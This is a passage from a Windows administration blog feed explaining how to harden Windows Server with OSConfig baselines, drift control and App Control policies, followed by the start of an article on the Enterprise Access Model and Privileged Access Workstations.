<td style="text-align:left">Recommendations by Microsoft to secure configurations for Microsoft Defender Antivirus.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/f1712d503d4a9d3fd7e1f9ac119c55fa36845439/Powershell/OSConfig/SecuredCore.csv" target="_blank" rel="noreferrer">SecuredCore</a></td>
<td style="text-align:left">Secured-core is a collection of capabilities that offers built-in hardware, firmware, driver and operating system security features.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/f1712d503d4a9d3fd7e1f9ac119c55fa36845439/Powershell/OSConfig/SecuredCoreState.csv" target="_blank" rel="noreferrer">SecuredCoreState</a></td>
<td style="text-align:left">Secured-core state is a read-only collection of capabilities to display built-in hardware, firmware, driver and operating system security features.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/744f1b51bf8576538b9e09c1fb50e2b857e76ff7/Powershell/OSConfig/SecurityBaselineServer2022DomainController.csv" target="_blank" rel="noreferrer">SecurityBaseline\Server\2022\DomainController</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure configurations for Windows Server 2022 machines in the Domain Controller role.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/744f1b51bf8576538b9e09c1fb50e2b857e76ff7/Powershell/OSConfig/SecurityBaselineServer2022MemberServer.csv" target="_blank" rel="noreferrer">SecurityBaseline\Server\2022\MemberServer</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure configurations for Windows Server 2022 machines in the Member Server role.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/744f1b51bf8576538b9e09c1fb50e2b857e76ff7/Powershell/OSConfig/SecurityBaselineServer2022WorkgroupMember.csv" target="_blank" rel="noreferrer">SecurityBaseline\Server\2022\WorkgroupMember</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure configurations for Windows Server 2022 machines in the Workgroup Member role.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/29221569c037b547f3604f7432c683ba36ba1435/Powershell/OSConfig/SecurityBaselineWS2025DomainController.csv" target="_blank" rel="noreferrer">SecurityBaseline\WS2025\DomainController</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure configurations for Windows Server 2025 machines in the Domain Controller role.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/29221569c037b547f3604f7432c683ba36ba1435/Powershell/OSConfig/SecurityBaselineWS2025MemberServer.csv" target="_blank" rel="noreferrer">SecurityBaseline\WS2025\MemberServer</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure configurations for Windows Server 2025 machines in the Member Server role.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/29221569c037b547f3604f7432c683ba36ba1435/Powershell/OSConfig/SecurityBaselineWS2025WorkgroupMember.csv" target="_blank" rel="noreferrer">SecurityBaseline\WS2025\WorkgroupMember</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure configurations for Windows Server 2025 machines in the Workgroup Member role.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/744f1b51bf8576538b9e09c1fb50e2b857e76ff7/Powershell/OSConfig/ssh.csv" target="_blank" rel="noreferrer">SSH</a></td>
<td style="text-align:left">Recommendations by Microsoft to secure OpenSSH server configurations for Windows Server machines</td>
</tr>
</tbody>
</table>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>Microsoft also provides a part of the individual settings <a href="https://github.com/microsoft/osconfig/tree/main/security" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h3 id="drift-control" tabindex="-1">Drift control <a class="header-anchor" href="#drift-control" aria-label="Permalink to &quot;Drift control&quot;">&ZeroWidthSpace;</a></h3>
<p>Drift control is one of OSConfig's standout features. It keeps your system in a secure, known good state by automatically fixing any changes that stray from the desired configuration.
This happens through a background refresh task that runs quietly in the system.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Gets the drift control enable status and refresh period</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-osconfigdriftcontrol</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Sets the drift control refresh period on the system to 45 Minutes</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">set-osconfigdriftcontrol</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 45</span></span></code></pre>
</div><p>If multiple &quot;authorities&quot; are used to manage the same settings (like Group Policy and OSConfig), you must remove one of the sources if the parameters are different.
Otherwise conflicts are expected, because the settings will keep constantly changing between sources.</p>
<p>For cloud or Azure Arc-enabled resources, OSConfig uses an orchestrator to ensure everything works smoothly.<br>
Each authority gets a precedence order, which determines who has the final say.<br>
This order applies not just to configurations but also to whether drift control is enabled for each authority or even for specific scenarios.</p>
<ol>
<li>Cloud authority (Azure Policy)</li>
<li>Local authority (Windows Admin Center and Windows PowerShell)</li>
<li>Any other deployment tool</li>
</ol>
<h3 id="configure-app-control" tabindex="-1">Configure App Control <a class="header-anchor" href="#configure-app-control" aria-label="Permalink to &quot;Configure App Control&quot;">&ZeroWidthSpace;</a></h3>
<p><strong>App Control for Business</strong> is a software-based security layer that reduces the risk of attack by enforcing an explicit list of software that's allowed to run.</p>
<ul>
<li><strong>Audit mode:</strong> Allows untrusted code to run while events are logged.</li>
<li><strong>Enforcement mode:</strong> Disallows untrusted code from running while events are logged.</li>
</ul>
<div class="caution custom-block github-alert"><p class="custom-block-title">CAUTION</p>
<p>Flight-signed (pre-release or test) binaries are not permitted.
If you don't do this, you won't be able to start your device.</p>
</div>
<div class="vp-code-group vp-adaptive-theme"><div class="tabs"><input type="radio" name="group-M9RwX" id="tab-ZFd3GUZ" checked="checked"><label for="tab-ZFd3GUZ">Configure</label><input type="radio" name="group-M9RwX" id="tab-j9gneYw" ><label for="tab-j9gneYw">Verify</label><input type="radio" name="group-M9RwX" id="tab-kLtivoK" ><label for="tab-kLtivoK">Remove</label></div><div class="blocks">
<div class="language-powershell vp-adaptive-theme active"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To configure the default App Control policies in audit mode, open PowerShell as admin and run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\DefaultPolicy\Audit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\AppBlockList\Audit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To configure the default App Control policies in enforcement mode, open PowerShell as admin and run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\DefaultPolicy\Enforce </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\AppBlockList\Enforce </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To verify that the App Control policy was applied, run the following command and select the Enter key twice:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">citool </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">lp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> findstr </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">I </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"WS2025"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># If you configured policies in audit mode, you should expect the following output:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Friendly Name: BlockUMCI_Microsoft_WS2025_Audit</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Friendly Name: AllowMicrosoft_WS2025_Audit</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># If you configured policies in enforcement mode, you should expect the following output:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Friendly Name: BlockUMCI_Microsoft_WS2025_Enforce</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Friendly Name: AllowMicrosoft_WS2025_Enforce</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the default App Control policies from audit mode, open PowerShell as admin and run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\DefaultPolicy\Audit</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\AppBlockList\Audit</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the default App Control policies from enforcement mode, open PowerShell as admin and run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\DefaultPolicy\Enforce</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl\WS2025\AppBlockList\Enforce</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># After you remove a policy, there should be no output when you run citool -lp | findstr /I "WS2025" for verification.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">CAUTION</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Removing App Control policies manually or through </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">citool.exe</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> causes the drift control protection of OSConfig to reestablish the policies after a refresh period of four hours by </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">default</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">We recommend that you use OSConfig to remove any App Control policies that you set by using OSConfig.</span></span></code></pre>
</div></div></div>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The same feature is available for Windows devices. You can learn more here: <a href="https://michaelsendpoint.com/intune/app_locker.html" target="_blank" rel="noreferrer">App Control for Business | Intune</a>.</p>
</div>
<h3 id="monitor-app-control-logs" tabindex="-1">Monitor App Control logs <a class="header-anchor" href="#monitor-app-control-logs" aria-label="Permalink to &quot;Monitor App Control logs&quot;">&ZeroWidthSpace;</a></h3>
<p>To check the logs after applying the App Control policy, pick any third-party app you want to run on your device.</p>
<ul>
<li>If you set the policy to <strong>audit mode</strong>, look for event ID <span style="color:crimson"><strong>3076</strong></span> in the logs to see if the app triggered any events.</li>
<li>If you set the policy to <strong>enforcement mode</strong>, check for event ID <span style="color:crimson"><strong>3077</strong></span> to see if the app was blocked.</li>
</ul>
<p>This will help you confirm how the policy is working with your apps.</p>
<p>If a third-party app tries to access something it shouldn't, the system steps in and blocks it.<br>
To view and export these event logs, follow these steps:</p>
<h4 id="view" tabindex="-1">View <a class="header-anchor" href="#view" aria-label="Permalink to &quot;View&quot;">&ZeroWidthSpace;</a></h4>
<ol>
<li>Open the Event Viewer.</li>
<li>Open <code>Applications and Service Logs\Microsoft\Windows\CodeIntegrity\Operational</code>.</li>
<li>Look for event ID <span style="color:crimson"><strong>3076</strong></span> for audit mode or <span style="color:crimson"><strong>3077</strong></span> for enforcement mode.</li>
</ol>
<h4 id="export" tabindex="-1">Export <a class="header-anchor" href="#export" aria-label="Permalink to &quot;Export&quot;">&ZeroWidthSpace;</a></h4>
<ol>
<li>Open <strong>Event Viewer</strong> and navigate to <code>Applications and Service Logs\Microsoft\Windows\CodeIntegrity</code>.</li>
<li>Right-click on the <strong>Operational</strong> log and choose <strong>Filter Current Log</strong>.</li>
<li>In the filter dialog, clear any existing filters, type <span style="color:crimson"><strong>3076</strong></span> in the <code>All Event IDs</code> box, and hit <strong>OK</strong>.</li>
<li>Right-click the <strong>Operational</strong> log again and select <strong>Save Filtered Log File As</strong>.</li>
<li>Pick a name and location for the <code>.evtx</code> file in the <strong>Save As</strong> dialog, then click <strong>OK</strong>.</li>
<li>If prompted by the <strong>Display Information</strong> dialog, choose whether you need the log details in another language, and confirm with <strong>OK</strong>.</li>
</ol>
<p>If you're exporting logs for enforcement mode instead, just filter for event ID <span style="color:crimson"><strong>3077</strong></span> in step 3.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The same feature is available for Windows devices. You can learn more here: <a href="https://michaelsendpoint.com/intune/monitor_appcontrol.html" target="_blank" rel="noreferrer">Monitor App Control for Busines Audit Logs | Intune</a></p>
</div>
<h3 id="create-supplemental-app-control-policies" tabindex="-1">Create supplemental App Control policies <a class="header-anchor" href="#create-supplemental-app-control-policies" aria-label="Permalink to &quot;Create supplemental App Control policies&quot;">&ZeroWidthSpace;</a></h3>
<p>Here's how you can create supplemental App Control policies:</p>
<ol>
<li>First, open the App Control Wizard.</li>
<li>On the Home screen, click <strong>Policy Editor</strong>.</li>
<li>In the Policy Editor, choose <strong>Convert Event Logs to a Policy</strong>. Then, under <strong>Parse Event Log evtx Files to Policy</strong>, click <strong>Parse Log File(s)</strong>.</li>
<li>In the dialog that pops up, find your <code>.evtx</code> file, select it, and click <strong>Open</strong>. Confirm the prompt by clicking <strong>OK</strong>, then hit <strong>Next</strong>.</li>
<li>On the <strong>File Rules</strong> screen, look under <strong>Filename</strong> and pick the file you want to add to the policy.</li>
<li>Under <strong>Rule Type</strong>, select <strong>Path</strong>, then click <strong>+ Add Allow</strong>.</li>
<li>Repeat step 7 for all the files you want to include, and when you're done, click <strong>Next</strong>.</li>
</ol>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>By default, supplemental policies are saved as XML files in <code>C:\Users\Username\Documents</code>.</p>
</div>
<p>Once your supplemental policy is ready run the script below:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$policyPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[Your supplemental policy]"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Reset GUID (best practice)</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-CIPolicyIdInfo</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath $policyPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ResetPolicyID</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Set policy version (VersionEx in the XML file)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$policyVersion </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "1.0.0.1"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-CIPolicyVersion</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath $policyPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Version $policyVersion</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Set policy info (PolicyName and PolicyID in the XML file)</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-CIPolicyIdInfo</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath $policyPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">PolicyID </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"[MyApp]-Policy_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$policyVersion</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">PolicyName </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"[MyApp]-Policy"</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> # [MyApp] = The App your are making the supplemental policy for.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$base </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "{9214D8EE-9B0F-4972-9073-A04E917D7989}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-CIPolicyIdInfo</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath $policyPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SupplementsBasePolicyID $base</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Set the new policy into the system</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name Policies </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $policyPath</span></span></code></pre>
</div><p>To check if the supplemental policies were applied, keep an eye on event IDs <span style="color:crimson"><strong>3076</strong></span> and <span style="color:crimson"><strong>3077</strong></span>. You can find the steps for this in the <a href="https://michaelsendpoint.com/powershell/OSConfig.html#monitor-app-control-logs" target="_blank" rel="noreferrer">Monitor event logs</a> section. Make sure there aren’t any new events popping up that the system didn’t expect.</p>
<h4 id="query-policies" tabindex="-1">Query policies <a class="header-anchor" href="#query-policies" aria-label="Permalink to &quot;Query policies&quot;">&ZeroWidthSpace;</a></h4>
<p>If you want to check which policies are active in your setup, just run this command:</p>
<div class="language-PowerShell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">PowerShell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl).Value.PolicyInfo </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.IsEffective </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $true</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span></code></pre>
</div><p>And if you're curious about the policies that aren't currently active, use this one:</p>
<div class="language-PowerShell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">PowerShell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario AppControl).Value.PolicyInfo </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.IsEffective </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $false</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span></code></pre>
</div><h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>By leveraging OSConfig, you can save time, reduce complexity, and ensure your systems are always aligned with your organization's security policies.<br>
So, go ahead and explore the possibilities with OSConfig, your servers will thank you for it!</p>
<p>All in all, OSConfig is a super handy tool when it comes to managing and automating operating system configurations, especially in large-scale environments.
It helps take a lot of the manual hassle out of keeping systems consistent.
It's definitely one of those behind-the-scenes tools that makes IT teams' lives way easier.</p>
<br>
References:
<p><a href="https://learn.microsoft.com/en-us/windows-server/security/osconfig/osconfig-overview" target="_blank" rel="noreferrer">OSConfig overview | Microsoft Learn</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Asset Security | Security]]></title>
            <link>https://michaelsendpoint.com/security/paw_jumphost.html</link>
            <guid>https://michaelsendpoint.com/security/paw_jumphost.html</guid>
            <pubDate>Sun, 18 May 2025 16:56:40 GMT</pubDate>
            <description><![CDATA[Server / Asset security]]></description>
            <content:encoded><![CDATA[<h1 id="securing-your-assets" tabindex="-1">Securing your assets <a class="header-anchor" href="#securing-your-assets" aria-label="Permalink to &quot;Securing your assets&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="getting-to-know-the-tools" tabindex="-1">Getting to know the tools <a class="header-anchor" href="#getting-to-know-the-tools" aria-label="Permalink to &quot;Getting to know the tools&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="_1-enterprise-access-model" tabindex="-1">1. Enterprise access model <a class="header-anchor" href="#_1-enterprise-access-model" aria-label="Permalink to &quot;1. Enterprise access model&quot;">&ZeroWidthSpace;</a></h3>
<p>The Enterprise Access Model is a way to secure access to your company's data and systems. Here's the breakdown:</p>
<ul>
<li><strong>Think of it as a layered security plan.</strong> It splits your IT infrastructure into different sections based on how sensitive the information is.</li>
<li><strong>Most secure areas get the tightest controls.</strong> Only authorized people with minimal access can enter these areas. Imagine a vault for critical systems like domain controllers.</li>
<li><strong>Other areas are less restricted, but access is still controlled.</strong> Think of this as access to applications and data depending on an employee's role. A marketing team might not need access to engineering data.</li>
<li><strong>Security is always on.</strong> We double-check everyone's identity and only grant the minimum access needed to do their job.</li>
<li><strong>It works for all your IT environments.</strong> Whether it's on-premises servers, cloud storage, or remote access, the model ensures consistent security.
This approach helps prevent unauthorized access and keeps your company data safe from potential threats.</li>
</ul>
<img src="\security_paw\legacy-tier-model-comparison-new.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<ul>
<li><strong>Data/Workload Plane:</strong> This layer encompasses all the applications, databases, and files that an organization relies on. It’s where the real work happens the digital machinery behind the scenes.</li>
<li><strong>Management Plane:</strong> Think of this as the control center. IT professionals manage and oversee systems here. They ensure everything runs smoothly, like air traffic controllers guiding planes safely through the skies.</li>
<li><strong>Control Plane:</strong> Here’s where security takes center stage. The Control Plane verifies identities before granting access. Whether it’s a user logging in or an application requesting data, they need proper credentials.</li>
<li><strong>User Plane:</strong> This is the interface where users interact directly with applications and data. It’s the bridge between people and technology.</li>
</ul>
<img src="\security_paw\legacy-tier-model.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>The legacy Enterprise Access Model, also known as the Tier Model, was an earlier approach from Microsoft for securing access within a company's IT system.</p>
<ul>
<li><strong>Imagine three levels of access.</strong>  Each level had stricter controls than the one below.</li>
<li><strong>(Tier 0) was the most secure.</strong>  Only highly privileged users, like IT security admins, could access this level. This is where critical systems like domain controllers lived.</li>
<li><strong>(Tier 1) housed important resources.</strong>  Think of this as a server room with business applications and sensitive data. Authorized IT personnel could access this area for maintenance or management tasks.</li>
<li><strong>(Tier 2) was the least restricted.</strong>  This is where regular employees accessed their computers and everyday applications. Security wasn't as tight here, but access wasn't wide open either.</li>
</ul>
<p>The Tier Model was mainly designed for on-premises servers and didn't consider complexities, like cloud.</p>
<p><a href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model" target="_blank" rel="noreferrer">Enterprise access model</a></p>
<p>&nbsp;</p>
<h3 id="_2-priviliged-access-workstation-paw" tabindex="-1">2. Priviliged Access Workstation (PAW) <a class="header-anchor" href="#_2-priviliged-access-workstation-paw" aria-label="Permalink to &quot;2. Priviliged Access Workstation (PAW)&quot;">&ZeroWidthSpace;</a></h3>
<p>Absolutely, as an IT security engineer, I can tell you all about a Privileged Access Workstation (PAW).</p>
<p>A PAW is a special kind of computer designed for high-security tasks. It's essentially a locked-down workstation built for users with administrative privileges,  like system administrators. These users manage critical systems and data, so it's essential to keep their access secure.</p>
<p>Here's what makes a PAW special:</p>
<ul>
<li><strong>Isolation:</strong> PAWs are isolated from the internet and other potential threats. This means no web browsing, email, or other risky activities on the PAW itself. It minimizes the attack surface, making it harder for attackers to exploit vulnerabilities.</li>
